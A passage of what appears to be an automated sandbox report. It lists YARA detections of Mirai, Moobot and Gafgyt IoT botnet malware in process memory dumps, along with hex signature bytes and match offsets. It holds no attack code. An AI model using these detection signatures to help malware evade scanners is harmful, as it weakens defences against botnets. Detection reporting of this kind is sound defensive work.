4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6630.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7129.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6993.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6993.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6993.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6993.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6993.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6993.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7207.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6893.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6805.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6805.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6805.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6477.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7117.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6805.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6805.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6805.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6522.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6582.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6326.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6326.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6326.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6326.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6326.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6326.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7378.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7378.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7378.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7378.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7378.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7378.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6517.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6247.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6247.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6247.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6247.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6247.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6247.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
